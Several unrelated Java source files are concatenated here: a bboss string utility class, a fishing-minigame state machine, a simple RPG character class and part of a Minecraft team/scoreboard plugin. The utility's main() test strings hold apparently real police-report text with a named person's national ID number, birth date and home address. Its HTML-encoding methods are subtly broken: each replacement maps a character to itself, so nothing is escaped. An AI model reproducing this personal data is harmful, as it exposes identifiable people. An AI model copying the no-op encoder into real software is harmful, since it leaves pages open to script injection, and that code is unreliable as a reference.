for (int i = 0; i < list.size(); i++) {
rets[i] = (String) list.get(i);
}
return rets;
} catch (MalformedPatternException e) {
e.printStackTrace();
return new String[] { val };
}
}
/**
* 分割字符串为数组函数
*
* @param val
* String
* @param token
* String
* boolean
* @return String[]
*/
public static String[] split(String val, String token,
int mask) {
String patternStr = token;
/**
* 编译正则表达式patternStr,并用该表达式与传入的sql语句进行模式匹配,
* 如果匹配正确,则从匹配对象中提取出以上定义好的6部分,存放到数组中并返回 该数组
*/
PatternCompiler compiler = new Perl5Compiler();
Pattern pattern = null;
try {
pattern = compiler.compile(patternStr,
mask);
PatternMatcher matcher = new Perl5Matcher();
List list = new ArrayList();
split(list, matcher, pattern, val, SPLIT_ALL);
String[] rets = new String[list.size()];
for (int i = 0; i < list.size(); i++) {
rets[i] = (String) list.get(i);
}
return rets;
} catch (MalformedPatternException e) {
e.printStackTrace();
return new String[] { val };
}
}
private static void split(Collection results, PatternMatcher matcher,
Pattern pattern, String input, int limit) {
int beginOffset;
MatchResult currentResult;
PatternMatcherInput pinput;
pinput = new PatternMatcherInput(input);
beginOffset = 0;
while (--limit != 0 && matcher.contains(pinput, pattern)) {
currentResult = matcher.getMatch();
results.add(input.substring(beginOffset, currentResult
.beginOffset(0)));
beginOffset = currentResult.endOffset(0);
}
results.add(input.substring(beginOffset, input.length()));
}
public static void main(String args[]) {
// String str = "中文,'bb,cc,'dd";
// try {
// str = new String(str.getBytes(), "utf-8");
// } catch (UnsupportedEncodingException ex) {
// }
// System.out.println(str.getBytes()[0]);
// System.out.println(str.getBytes()[1]);
// System.out.println(str.getBytes()[2]);
// System.out.println(str.getBytes()[3]);
//
// System.out.println("?".getBytes()[0]);
int maxlength = 16;
String replace ="...";
String outStr = "2010年02月04日12时许,何金瑶(女、1987年06月18日生、身份证:430981198706184686、湖南省沅江市沅江市南大膳镇康宁村十二村民组24号)报警:其经营的益阳市电信对面的晴天服装店被盗了。接警后我所民警立即赶至现场了解系,今日中午12时许何金瑶与母亲黄志元在店内做生意,有两男子进入店内,其中一男子以搬店内的试衣镜出去吸引注意力。另一男子就进行盗窃,盗取了其店内收银台抽屉内700元人民币";
System.out.println(SimpleStringUtil.getHandleString(maxlength,replace,false,false,outStr));
outStr = "2010年02月07日11时许,周灵颖报警:在2路公交车上被扒窃,并抓获一名嫌疑人。民警出警后,经调查,周灵颖于当日10时40分许坐2路车到桥南,途中被二名男子扒窃现金3100元。一名被当场抓获,另一名已逃走。 ";
System.out.println(SimpleStringUtil.getHandleString(maxlength,replace,false,false,outStr));
}
/**
* 将html中标记语言字符转换为转义符
*
* @param text
* @return
*/
public static String HTMLEncode(String text) {
if(SimpleStringUtil.isEmpty(text ))
return text;
text = SimpleStringUtil.replaceAll(text, "&", "&");
text = SimpleStringUtil.replaceAll(text, "\"", """);
text = SimpleStringUtil.replaceAll(text, "<", "<");
text = SimpleStringUtil.replaceAll(text, ">", ">");
text = SimpleStringUtil.replaceAll(text, "'", "’");
text = SimpleStringUtil.replaceAll(text, "\\ ", " ");
text = SimpleStringUtil.replaceAll(text, "\n", "<br>");
text = SimpleStringUtil.replaceAll(text, "\t", " ");
return text;
}
/**
* 将html中标记语言字符转换为转义符
*
* @param text
* @return
*/
public static String HTMLNoBREncode(String text) {
if(SimpleStringUtil.isEmpty(text ))
return text;
text = SimpleStringUtil.replaceAll(text, "&", "&");
text = SimpleStringUtil.replaceAll(text, "\"", """);
text = SimpleStringUtil.replaceAll(text, "<", "<");
text = SimpleStringUtil.replaceAll(text, ">", ">");
text = SimpleStringUtil.replaceAll(text, "'", "’");
text = SimpleStringUtil.replaceAll(text, "\\ ", " ");
// text = SimpleStringUtil.replaceAll(text, "\n", "<br>");
// text = SimpleStringUtil.replaceAll(text, "\t", " ");
return text;
}
/**
* 将转义的字符串还原
*
* @param text
* @return
*/
public static String HTMLEncodej(String text) {
if(SimpleStringUtil.isEmpty(text ))
return text;
text = SimpleStringUtil.replaceAll(text, "&", "&");
text = SimpleStringUtil.replaceAll(text, """, "\"");
text = SimpleStringUtil.replaceAll(text, "<", "<");
text = SimpleStringUtil.replaceAll(text, ">", ">");
text = SimpleStringUtil.replaceAll(text, "’", "'");
text = SimpleStringUtil.replaceAll(text, " ", "\\ ");
text = SimpleStringUtil.replaceAll(text, "<br>", "\n");
text = SimpleStringUtil.replaceAll(text, " ", "\t");
return text;
}
/**
* 将转义的字符串还原
*
* @param text
* @return
*/
public static String HTMLNoBREncodej(String text) {
if(SimpleStringUtil.isEmpty(text ))
return text;
text = SimpleStringUtil.replaceAll(text, "&", "&");
text = SimpleStringUtil.replaceAll(text, """, "\"");
text = SimpleStringUtil.replaceAll(text, "<", "<");
text = SimpleStringUtil.replaceAll(text, ">", ">");
text = SimpleStringUtil.replaceAll(text, "’", "'");
text = SimpleStringUtil.replaceAll(text, " ", "\\ ");
// text = SimpleStringUtil.replaceAll(text, "<br>", "\n");
// text = SimpleStringUtil.replaceAll(text, " ", "\t");
return text;
}
public static String getHandleString(int maxlength, String replace,
boolean htmlencode, boolean htmldecode, String outStr) {
if (maxlength > 0 && outStr != null && outStr.length() > maxlength) {
outStr = outStr.substring(0, maxlength);
if (replace != null)
outStr += replace;
}
if (htmlencode) {
return SimpleStringUtil.HTMLNoBREncode(outStr);
} else if (htmldecode) {
return SimpleStringUtil.HTMLNoBREncodej(outStr);
} else {
return outStr;
}
}
public static <T> T json2Object(String jsonString,Class<T> toclass,boolean ALLOW_SINGLE_QUOTES) {
// TODO Auto-generated method stub
// String jsonString = "[{'from_date':'2001-09-21','to_date':'2011-04-02','company':'人寿保险','department':'xxx','position':'主管' },{'from_date':'0002-12-01','to_date':'2011-04-02', 'company':'人寿保险','department':'xxx','position':'主管' }]";
// ObjectMapper mapper = new ObjectMapper();
// mapper.configure(Feature.ALLOW_SINGLE_QUOTES, ALLOW_SINGLE_QUOTES);
// try {
// T value = mapper.readValue(jsonString, toclass);
// return value;
//
//
// } catch (Exception e) {
// throw new IllegalArgumentException(jsonString,e);
// }
return getJacksonObjectMapper().json2Object(jsonString,toclass,ALLOW_SINGLE_QUOTES);
}
public static <T> T json2ObjectWithType(String jsonString,JsonTypeReference<T> ref) {
return json2ObjectWithType(jsonString,ref,true);
}
public static <T> List<T> json2ListObject(String jsonString,final Class<T> beanType) {
JsonTypeReference ref = new DefaultJsonTypeReference(getJacksonObjectMapper().getJavaType(List.class,beanType));
return (List<T>)json2ObjectWithType(jsonString,ref,true);
}
public static <T> Set<T> json2LSetObject(String jsonString,final Class<T> beanType) {
JsonTypeReference ref = new DefaultJsonTypeReference(getJacksonObjectMapper().getJavaType(Set.class,beanType));
return (Set<T>)json2ObjectWithType(jsonString,ref,true);
}
public static <T> T[] json2LArrayObject(String jsonString, final Class<T> beanType) {
JsonTypeReference ref = new DefaultJsonTypeReference(getJacksonObjectMapper().getObjectMapper().getTypeFactory().constructArrayType(beanType));
return (T[])json2ObjectWithType(jsonString,ref,true);
}
public static ObjectMapper getObjectMapper(){
return getJacksonObjectMapper().getObjectMapper();
}
public static <K,T> Map<K,T> json2LHashObject(String jsonString,final Class<K> keyType,final Class<T> beanType) {
JsonTypeReference ref = new DefaultJsonTypeReference(getJacksonObjectMapper().getJavaMapType(Map.class,keyType,beanType));
return (Map<K,T>)json2ObjectWithType(jsonString,ref,true);
}
public static <T> List<T> json2ListObject(InputStream jsonString,final Class<T> beanType) {
JsonTypeReference ref = new DefaultJsonTypeReference(getJacksonObjectMapper().getJavaType(List.class,beanType)) ;
return (List<T>)json2ObjectWithType(jsonString,ref,true);
}
public static <D,T> D json2TypeObject(InputStream jsonString,final Class<D> containType,final Class<T> beanType) {
JsonTypeReference ref = new DefaultJsonTypeReference(getJacksonObjectMapper().getJavaType(containType,beanType)) ;
return (D)json2ObjectWithType(jsonString,ref,true);
}
public static <D,T> D json2TypeObject(String jsonString,final Class<D> containType,final Class<T> beanType) {
JsonTypeReference ref = new DefaultJsonTypeReference(getJacksonObjectMapper().getJavaType(containType,beanType)) ;
return (D)json2ObjectWithType(jsonString,ref,true);
}
public static <T> Set<T> json2LSetObject(InputStream jsonString,final Class<T> beanType) {
JsonTypeReference ref = new DefaultJsonTypeReference(getJacksonObjectMapper().getJavaType(Set.class,beanType)) ;
return (Set<T>)json2ObjectWithType(jsonString,ref,true);
}
public static <K,T> Map<K,T> json2LHashObject(InputStream jsonString, final Class<K> keyType, final Class<T> beanType) {
JsonTypeReference ref = new DefaultJsonTypeReference(getJacksonObjectMapper().getJavaMapType(Map.class,keyType,beanType)) ;
return (Map<K,T>)json2ObjectWithType(jsonString,ref,true);
}
public static <T> T[] json2LArrayObject(InputStream jsonString, final Class<T> beanType) {
JsonTypeReference ref = new DefaultJsonTypeReference(getJacksonObjectMapper().getObjectMapper().getTypeFactory().constructArrayType(beanType));
return (T[])json2ObjectWithType(jsonString,ref,true);
}
public static <T> T json2ObjectWithType(InputStream json,JsonTypeReference<T> ref) {
return json2ObjectWithType(json,ref,true);
}
public static <T> T json2ObjectWithType(String jsonString,JsonTypeReference<T> ref,boolean ALLOW_SINGLE_QUOTES) {
// TODO Auto-generated method stub
// String jsonString = "[{'from_date':'2001-09-21','to_date':'2011-04-02','company':'人寿保险','department':'xxx','position':'主管' },{'from_date':'0002-12-01','to_date':'2011-04-02', 'company':'人寿保险','department':'xxx','position':'主管' }]";
// ObjectMapper mapper = new ObjectMapper();
// mapper.configure(Feature.ALLOW_SINGLE_QUOTES, ALLOW_SINGLE_QUOTES);
// try {
// T value = mapper.readValue(jsonString, ref);
// return value;
//
//
// } catch (Exception e) {
// throw new IllegalArgumentException(jsonString,e);
// }
return getJacksonObjectMapper().json2ObjectWithType(jsonString, ref, ALLOW_SINGLE_QUOTES);
}
public static <T> T json2ObjectWithType(InputStream json,JsonTypeReference<T> ref,boolean ALLOW_SINGLE_QUOTES) {
// TODO Auto-generated method stub
// String jsonString = "[{'from_date':'2001-09-21','to_date':'2011-04-02','company':'人寿保险','department':'xxx','position':'主管' },{'from_date':'0002-12-01','to_date':'2011-04-02', 'company':'人寿保险','department':'xxx','position':'主管' }]";
// ObjectMapper mapper = new ObjectMapper();
// mapper.configure(Feature.ALLOW_SINGLE_QUOTES, ALLOW_SINGLE_QUOTES);
// try {
// T value = mapper.readValue(jsonString, ref);
// return value;
//
//
// } catch (Exception e) {
// throw new IllegalArgumentException(jsonString,e);
// }
return getJacksonObjectMapper().json2ObjectWithType(json, ref, ALLOW_SINGLE_QUOTES);
}
public static <T> T json2Object(String jsonString,Class<T> toclass) {
// TODO Auto-generated method stub
return getJacksonObjectMapper().json2Object(jsonString,toclass,true);
}
public static <T> T json2Object(InputStream jsonString,Class<T> toclass) {
// TODO Auto-generated method stub
return getJacksonObjectMapper().json2Object(jsonString,toclass,true);
}
public static String object2json(Object object,boolean ALLOW_SINGLE_QUOTES) {
// ObjectMapper mapper = new ObjectMapper();
// mapper.configure(Feature.ALLOW_SINGLE_QUOTES, ALLOW_SINGLE_QUOTES);
// try {
// String value = mapper.writeValueAsString(object);
//
// return value;
//
//
// } catch (Exception e) {
// throw new IllegalArgumentException("错误的json序列化操作",e);
// }
return getJacksonObjectMapper().object2json( object, ALLOW_SINGLE_QUOTES);
}
public static String object2json(Object object) {
return object2json(object,true) ;
}
public static void object2json(Object object,Writer writer,boolean ALLOW_SINGLE_QUOTES) {
// ObjectMapper mapper = new ObjectMapper();
// mapper.configure(Feature.ALLOW_SINGLE_QUOTES, ALLOW_SINGLE_QUOTES);
// try {
// mapper.writeValue(writer,object);
//
//
//
//
// } catch (Exception e) {
// throw new IllegalArgumentException("错误的json序列化操作",e);
// }
getJacksonObjectMapper().object2json(object,writer,ALLOW_SINGLE_QUOTES);
}
public static void object2json(Object object,Writer writer) {
getJacksonObjectMapper().object2json(object,writer,true) ;
}
public static void object2json(Object object,StringBuilder builder) {
BBossStringWriter writer = new BBossStringWriter(builder);
getJacksonObjectMapper().object2json(object,writer,true) ;
}
public static void object2json(Object object,OutputStream writer,boolean ALLOW_SINGLE_QUOTES) {
// ObjectMapper mapper = new ObjectMapper();
// mapper.configure(Feature.ALLOW_SINGLE_QUOTES, ALLOW_SINGLE_QUOTES);
// try {
// mapper.writeValue(writer,object);
//
//
//
//
// } catch (Exception e) {
// throw new IllegalArgumentException("错误的json序列化操作",e);
// }
getJacksonObjectMapper().object2json(object,writer,ALLOW_SINGLE_QUOTES);
}
public static void object2json(Object object,OutputStream writer) {
getJacksonObjectMapper().object2json(object,writer,true) ;
}
public static void object2json(Object object,File writer,boolean ALLOW_SINGLE_QUOTES) {
// ObjectMapper mapper = new ObjectMapper();
// mapper.configure(Feature.ALLOW_SINGLE_QUOTES, ALLOW_SINGLE_QUOTES);
// try {
// mapper.writeValue(writer,object);
//
//
//
//
// } catch (Exception e) {
// throw new IllegalArgumentException("错误的json序列化操作",e);
// }
getJacksonObjectMapper().object2json(object,writer,ALLOW_SINGLE_QUOTES);
}
public static void object2json(Object object,File writer) {
getJacksonObjectMapper().object2json(object,writer,true) ;
}
public static byte[] object2jsonAsbyte(Object object,boolean ALLOW_SINGLE_QUOTES) {
// ObjectMapper mapper = new ObjectMapper();
// mapper.configure(Feature.ALLOW_SINGLE_QUOTES, ALLOW_SINGLE_QUOTES);
// try {
// return mapper.writeValueAsBytes(object);
//
//
//
//
// } catch (Exception e) {
// throw new IllegalArgumentException("错误的json序列化操作",e);
// }
return getJacksonObjectMapper().object2jsonAsbyte( object, ALLOW_SINGLE_QUOTES);
}
public static byte[] object2jsonAsbyte(Object object) {
return getJacksonObjectMapper().object2jsonAsbyte(object,true) ;
}
}
| bbossgroups/bboss | bboss-util/src/com/frameworkset/util/SimpleStringUtil.java |
65,408 | package xyq.system.ingame.fishing;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.ai.fsm.State;
import com.badlogic.gdx.ai.msg.Telegram;
import xyq.game.stage.UI.dialog.FishingDlg;
public enum FishingState implements State<FishingDlg> {
/**起竿状态*/
NOFHISHING{
@Override
public void enter(FishingDlg entity) {
entity.myrod.setIndexArea(0, 0);
entity.myrod.restart();
}
@Override
public void update(FishingDlg entity) {
//entity.getStateMachine().changeState(PersonState.RUN);
}
@Override
public void exit(FishingDlg entity) {
}
@Override
public boolean onMessage(FishingDlg entity, Telegram telegram) {
return false;
}
},
/**抛竿中*/
THROWING{
@Override
public void enter(FishingDlg entity) {
entity.myrod.setIndexArea(1, 20);
entity.myrod.restart();
entity.xyqgame.cs.Sound_playSE1("./sound/SE/2283施法_扔竿.ogg");
}
@Override
public void update(FishingDlg entity) {
if(entity.myrod.getCurrentIndex()==20)
entity.fish.logic.changeState(FishingState.WAITING);
}
@Override
public void exit(FishingDlg entity) {
}
@Override
public boolean onMessage(FishingDlg entity, Telegram telegram) {
return false;
}
},
/**等鱼上钩中*/
WAITING{
@Override
public void enter(FishingDlg entity) {
entity.myrod.setIndexArea(20, 39);
entity.myrod.restart();
entity.fish.makeANewFish();
}
@Override
public void update(FishingDlg entity) {
}
@Override
public void exit(FishingDlg entity) {
}
@Override
public boolean onMessage(FishingDlg entity, Telegram telegram) {
return false;
}
},
/**鱼已经上钩*/
EATTING{
@Override
public void enter(FishingDlg entity) {
entity.myrod.setIndexArea(40, 64);
entity.myrod.restart();
}
@Override
public void update(FishingDlg entity) {
}
@Override
public void exit(FishingDlg entity) {
}
@Override
public boolean onMessage(FishingDlg entity, Telegram telegram) {
return false;
}
},
/**正在拉杆*/
CATCHING{
@Override
public void enter(FishingDlg entity) {
entity.xyqgame.ts.delTask("钓鱼上鱼事件");
entity.xyqgame.ts.delTask("钓鱼跑鱼事件");
entity.xyqgame.ts.delTask("钓鱼提示1");
entity.xyqgame.ts.delTask("钓鱼提示2");
entity.xyqgame.ts.delTask("钓鱼提示3");
entity.xyqgame.ts.delTask("钓鱼提示4");
entity.xyqgame.ts.delTask("钓鱼提示5");
if(entity.fish.way==FishingGame.yuhui){
entity.myrod.setIndexArea(65, 97);
entity.myrod.restart();
}else if(entity.fish.way==FishingGame.kuaisu){
entity.myrod.setIndexArea(88, 97);
entity.myrod.restart();
}
if(entity.xyqgame.is_Debug)
Gdx.app.log("[ XYQ ]", "[ 钓鱼 ] -> 开始收竿");
}
@Override
public void update(FishingDlg entity) {
if(entity.myrod.getCurrentIndex()==97){
if(entity.xyqgame.is_Debug)
Gdx.app.log("[ XYQ ]", "[ 钓鱼 ] -> 收竿完毕,检查钓上来鱼没有");
int code=entity.fish.isGotFish();
if(code==1){
entity.fish.logic.changeState(FishingState.GOT);
}else if(code==2){
entity.fish.logic.changeState(FishingState.GOTSPECIAL);
}else{
entity.fish.logic.changeState(FishingState.NOFHISHING);
if(entity.fish.logic.getCurrentState()!=FishingState.CATCHING){
entity.xyqgame.cs.UI_showSystemMessage("鱼儿跑掉了");
entity.fishInfos[entity.pos].addText("鱼儿跑掉了...\n",true);
}
else{
entity.xyqgame.cs.UI_showSystemMessage("机智的鱼儿脱钩逃走了");
entity.fishInfos[entity.pos].addText("机智的鱼儿脱钩逃走了..\n",true);
}
}
}
}
@Override
public void exit(FishingDlg entity) {
}
@Override
public boolean onMessage(FishingDlg entity, Telegram telegram) {
return false;
}
},/**正在拉杆,但是拉不到鱼*/
CATCHING_WITH_NOFISH{
@Override
public void enter(FishingDlg entity) {
entity.xyqgame.ts.delTask("钓鱼上鱼事件");
entity.xyqgame.ts.delTask("钓鱼跑鱼事件");
entity.xyqgame.ts.delTask("钓鱼提示1");
entity.xyqgame.ts.delTask("钓鱼提示2");
entity.xyqgame.ts.delTask("钓鱼提示3");
entity.xyqgame.ts.delTask("钓鱼提示4");
entity.xyqgame.ts.delTask("钓鱼提示5");
if(entity.fish.way==FishingGame.yuhui){
entity.myrod.setIndexArea(65, 97);
entity.myrod.restart();
}else if(entity.fish.way==FishingGame.kuaisu){
entity.myrod.setIndexArea(88, 97);
entity.myrod.restart();
}
if(entity.xyqgame.is_Debug)
Gdx.app.log("[ XYQ ]", "[ 钓鱼 ] -> 开始收竿");
}
@Override
public void update(FishingDlg entity) {
if(entity.myrod.getCurrentIndex()==97){
entity.fish.logic.changeState(FishingState.NOFHISHING);
entity.xyqgame.cs.UI_showSystemMessage("空空的鱼钩,什么也没有");
entity.fishInfos[entity.pos].addText("空空的鱼钩...\n",true);
}
}
@Override
public void exit(FishingDlg entity) {
}
@Override
public boolean onMessage(FishingDlg entity, Telegram telegram) {
return false;
}
},/**钓上来了鱼*/
GOT{
@Override
public void enter(FishingDlg entity) {
if(entity.xyqgame.is_Debug)
Gdx.app.log("[ XYQ ]", "[ 钓鱼 ] -> 钓上了鱼!");
entity.fish.logic.changeState(FishingState.NOFHISHING);
entity.xyqgame.cs.Sound_playSE1("./sound/SE/gotfish.ogg");
entity.fish.harvestFish(entity.fish.aFishNow, "钓上");
}
@Override
public void update(FishingDlg entity) {
}
@Override
public void exit(FishingDlg entity) {
}
@Override
public boolean onMessage(FishingDlg entity, Telegram telegram) {
return false;
}
},/**钓上来了特殊事件*/
GOTSPECIAL{
@Override
public void enter(FishingDlg entity) {
if(entity.xyqgame.is_Debug)
Gdx.app.log("[ XYQ ]", "[ 钓鱼 ]->钓上了特殊事件!");
entity.fish.logic.changeState(FishingState.NOFHISHING);
entity.fishInfos[entity.pos].addText("好像发现了什么\n",true);
entity.fish.currentGot++;
entity.nowGot[entity.pos].setText(entity.fish.currentGot+"");
entity.fish.callSpecial();
}
@Override
public void update(FishingDlg entity) {
}
@Override
public void exit(FishingDlg entity) {
}
@Override
public boolean onMessage(FishingDlg entity, Telegram telegram) {
return false;
}
},/**不能钓鱼状态*/
CANNOTFISH{
@Override
public void enter(FishingDlg entity) {
}
@Override
public void update(FishingDlg entity) {
}
@Override
public void exit(FishingDlg entity) {
}
@Override
public boolean onMessage(FishingDlg entity, Telegram telegram) {
return false;
}
}
}
| aRootNotRoot/XYQ-offline | core/src/xyq/system/ingame/fishing/FishingState.java |
65,412 | package jp.co.careritztc.game.character.impl;
import jp.co.careritztc.game.character.GameCharacter;
/**
* 人間クラス.
*/
public class Human extends GameCharacter {
/**
* コンストラクタ.
*
* @param name キャラクター名
*/
public Human(String name) {
super(name);
}
@Override
public Integer attack() {
// 時の運。ランダムな数値を返す。
return Double.valueOf(Math.random() * 1000)
.intValue();
}
@Override
public Boolean runaway(int speed) {
// 人間に逃走は許されない。sppedに関わらず固定値falseを返す。
return false;
}
}
| careritz-learning/learning-java | oop-sample/src/main/java/jp/co/careritztc/game/character/impl/Human.java |
65,413 | package jp._RS_.Koorioni.Scoreboard;
import java.util.ArrayList;
import net.minecraft.server.v1_6_R2.Packet205ClientCommand;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.OfflinePlayer;
import org.bukkit.craftbukkit.v1_6_R2.entity.CraftPlayer;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.block.BlockBreakEvent;
import org.bukkit.event.entity.FoodLevelChangeEvent;
import org.bukkit.event.entity.PlayerDeathEvent;
import org.bukkit.event.player.PlayerBedEnterEvent;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.event.player.PlayerMoveEvent;
import org.bukkit.event.player.PlayerQuitEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.PlayerInventory;
import org.bukkit.potion.PotionEffect;
import org.bukkit.potion.PotionEffectType;
import org.bukkit.scoreboard.DisplaySlot;
import org.bukkit.scoreboard.Objective;
import org.bukkit.scoreboard.Score;
import org.bukkit.scoreboard.Scoreboard;
import org.bukkit.scoreboard.Team;
import jp._RS_.Koorioni.GameController;
import jp._RS_.Koorioni.Main;
import jp._RS_.Koorioni.Variables;
import jp._RS_.Koorioni.Task.KeepInventoryThread;
import jp._RS_.Koorioni.Task.TeamNumberCheckTask;
public class SbManager implements Listener {
private Main main;
private Scoreboard sb;
private Team red;
private Team blue;
private Team black;
private Objective ob;
private Objective sidebar;
private OfflinePlayer reo;
private OfflinePlayer beo;
private OfflinePlayer bko;
public SbManager(Main main)
{
this.main = main;
initialize();
}
private void initialize()
{
sb = main.getServer().getScoreboardManager().getNewScoreboard();
red = sb.registerNewTeam("red");
blue = sb.registerNewTeam("blue");
black = sb.registerNewTeam("black");
ob = sb.registerNewObjective("KoorioniScore", "dummy");
ob.setDisplayName("");
ob.setDisplaySlot(DisplaySlot.PLAYER_LIST);
sidebar = sb.registerNewObjective("KoniSide", "dummy");
sidebar.setDisplayName("ゲーム状況");
sidebar.setDisplaySlot(DisplaySlot.SIDEBAR);
reo = Bukkit.getOfflinePlayer(ChatColor.RED + "逃走者");
sidebar.getScore(reo).setScore(1);
sidebar.getScore(reo).setScore(0);
beo = Bukkit.getOfflinePlayer(ChatColor.BLUE + "鬼");
sidebar.getScore(beo).setScore(1);
sidebar.getScore(beo).setScore(0);
bko = Bukkit.getOfflinePlayer(ChatColor.YELLOW + "凍ってる人");
sidebar.getScore(bko).setScore(1);
sidebar.getScore(bko).setScore(0);
blue.setAllowFriendlyFire(false);
black.setAllowFriendlyFire(false);
red.setPrefix(ChatColor.RED.toString());
red.setSuffix(ChatColor.RESET.toString());
blue.setPrefix(ChatColor.BLUE.toString());
blue.setSuffix(ChatColor.RESET.toString());
black.setPrefix(ChatColor.BLACK.toString());
black.setSuffix(ChatColor.RESET.toString());
red.setCanSeeFriendlyInvisibles(true);
//Bukkit.getScheduler().runTaskTimer(main, new TeamNumberCheckTask(this), 20L, 20L);
for(Player p : Bukkit.getOnlinePlayers())
{
p.setScoreboard(sb);
p.setDisplayName(ChatColor.RESET + p.getName() + ChatColor.RESET);
}
}
public void JoinRedTeam(Player p)
{
red.addPlayer(p);
p.setDisplayName(ChatColor.RED + p.getName() + ChatColor.RESET);
p.sendMessage(ChatColor.RED +"逃走者" + ChatColor.RESET + "グループに追加されました。");
updateSidebar();
p.getInventory().remove(Material.FEATHER);
p.getInventory().remove(Material.STICK);
ItemStack i1 = main.getConfigHandler().getSpeedItem();
i1.setAmount(calcAmount(i1.getAmount(),main.getController().getRemainingTimePercent()));
ItemStack i2 = main.getConfigHandler().getInvisibilityItem();
i2.setAmount(calcAmount(i2.getAmount(),main.getController().getRemainingTimePercent()));
p.getInventory().addItem(i1);
p.getInventory().addItem(i2);
p.updateInventory();
main.getConfigHandler().getStartLocation();
main.getCoolTimeManager().addSpawnProtection(p);
}
public void RestoreToRedTeam(Player p)
{
red.addPlayer(p);
p.setDisplayName(ChatColor.RED + p.getName() + ChatColor.RESET);
updateSidebar();
//main.getPlayerException().addSpawnProtection(p);
/*p.sendMessage("氷解除後" + ChatColor.GOLD + main.getConfigHandler().getSpawnProtectionTime() + ChatColor.RESET
+ "秒間はスポーン保護が適用されます。");*/
}
public void JoinBlueTeam(Player p)
{
blue.addPlayer(p);
p.setDisplayName(ChatColor.BLUE + p.getName() + ChatColor.RESET);
//p.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, 1000000, main.getConfigHandler().getHunterSpeedLevel()));
p.setWalkSpeed(main.getConfigHandler().getHunterSpeedLevel());
PlayerInventory pi = p.getInventory();
pi.setHelmet(new ItemStack(Material.DIAMOND_HELMET));
pi.setChestplate(new ItemStack(Material.DIAMOND_CHESTPLATE));
pi.setLeggings(new ItemStack(Material.DIAMOND_LEGGINGS));
pi.setBoots(new ItemStack(Material.DIAMOND_BOOTS));
p.sendMessage(ChatColor.BLUE + "鬼" +ChatColor.RESET + "グループに追加されました。");
updateSidebar();
p.getInventory().remove(Material.FEATHER);
p.getInventory().remove(Material.STICK);
p.updateInventory();
}
public void JoinBlackTeam(Player p)
{
black.addPlayer(p);
updateSidebar();
}
public void Quit(Player p)
{
p.setDisplayName(ChatColor.RESET + p.getName() + ChatColor.RESET);
if(isRedTeam(p))
{
red.removePlayer(p);
}else if(isBlueTeam(p))
{
blue.removePlayer(p);
//p.removePotionEffect(PotionEffectType.SPEED);
p.setWalkSpeed(0.2f);
PlayerInventory pi = p.getInventory();
pi.setHelmet(new ItemStack(Material.AIR));
pi.setChestplate(new ItemStack(Material.AIR));
pi.setLeggings(new ItemStack(Material.AIR));
pi.setBoots(new ItemStack(Material.AIR));
}else if(isBlackTeam(p))
{
black.removePlayer(p);
}
updateSidebar();
p.getInventory().remove(Material.FEATHER);
p.getInventory().remove(Material.STICK);
p.updateInventory();
}
public void reset()
{
for(OfflinePlayer p : red.getPlayers())
{
if(p.getPlayer() != null)
{
Quit(p.getPlayer());
}else{
red.removePlayer(p);
}
ob.getScore(p).setScore(0);
}
for(OfflinePlayer p : blue.getPlayers())
{
if(p.getPlayer() != null)
{
Quit(p.getPlayer());
}else{
blue.removePlayer(p);
}
ob.getScore(p).setScore(0);
}
for(OfflinePlayer p : black.getPlayers())
{
if(p.getPlayer() != null)
{
Quit(p.getPlayer());
p.getPlayer().setDisplayName(ChatColor.RESET + p.getName() + ChatColor.RESET);
}else{
black.removePlayer(p);
}
ob.getScore(p).setScore(0);
}
updateSidebar();
}
public boolean isRedTeam(Player p)
{
return red.hasPlayer(p);
}
public boolean isBlueTeam(Player p)
{
return blue.hasPlayer(p);
}
public boolean isBlackTeam(Player p)
{
return black.hasPlayer(p);
}
public boolean isPlaying(Player p)
{
if(isRedTeam(p) || isBlueTeam(p) || isBlackTeam(p))return true;
return false;
}
public Score getScore(OfflinePlayer p)
{
return ob.getScore(p);
}
public ArrayList<Player> getRedPlayersList()
{
ArrayList<Player> result = new ArrayList<Player>();
for(OfflinePlayer ofp : red.getPlayers())
{
if(ofp.getPlayer() != null)
{
result.add(ofp.getPlayer());
}
}
return result;
}
public ArrayList<Player> getBluePlayersList()
{
ArrayList<Player> result = new ArrayList<Player>();
for(OfflinePlayer ofp : blue.getPlayers())
{
if(ofp.getPlayer() != null)
{
result.add(ofp.getPlayer());
}
}
return result;
}
public ArrayList<Player> getBlackPlayersList()
{
ArrayList<Player> result = new ArrayList<Player>();
for(OfflinePlayer ofp : black.getPlayers())
{
if(ofp.getPlayer() != null)
{
result.add(ofp.getPlayer());
}
}
return result;
}
public int getRedSize()
{
return red.getSize();
}
public int getBlueSize()
{
return blue.getSize();
}
public int getBlackSize()
{
return black.getSize();
}
public void updateSidebar()
{
sidebar.getScore(reo).setScore(red.getSize());
sidebar.getScore(beo).setScore(blue.getSize());
sidebar.getScore(bko).setScore(black.getSize());
}
@EventHandler
public void onJoin(PlayerJoinEvent e)
{
Player p = e.getPlayer();
p.setScoreboard(sb);
PlayerInventory pi = p.getInventory();
if(!pi.contains(Variables.getAutoSneakToggleItem()))
{
pi.addItem(Variables.getAutoSneakToggleItem());
}
if(isRedTeam(p))
{
p.setDisplayName(ChatColor.RED + p.getName() + ChatColor.RESET);
p.setWalkSpeed(0.2f);
pi.setHelmet(new ItemStack(Material.AIR));
pi.setChestplate(new ItemStack(Material.AIR));
pi.setLeggings(new ItemStack(Material.AIR));
pi.setBoots(new ItemStack(Material.AIR));
return;
}else if(isBlueTeam(p))
{
p.setDisplayName(ChatColor.BLUE + p.getName() + ChatColor.RESET);
pi.remove(Material.FEATHER);
pi.remove(Material.STICK);
p.updateInventory();
return;
}else if(isBlackTeam(p))
{
p.setDisplayName(ChatColor.BLACK + p.getName() + ChatColor.RESET);
p.setWalkSpeed(0.2f);
pi.setHelmet(new ItemStack(Material.AIR));
pi.setChestplate(new ItemStack(Material.AIR));
pi.setLeggings(new ItemStack(Material.AIR));
pi.setBoots(new ItemStack(Material.AIR));
return;
}
p.setDisplayName(ChatColor.RESET + p.getName() + ChatColor.RESET);
p.setWalkSpeed(0.2f);
pi.setHelmet(new ItemStack(Material.AIR));
pi.setChestplate(new ItemStack(Material.AIR));
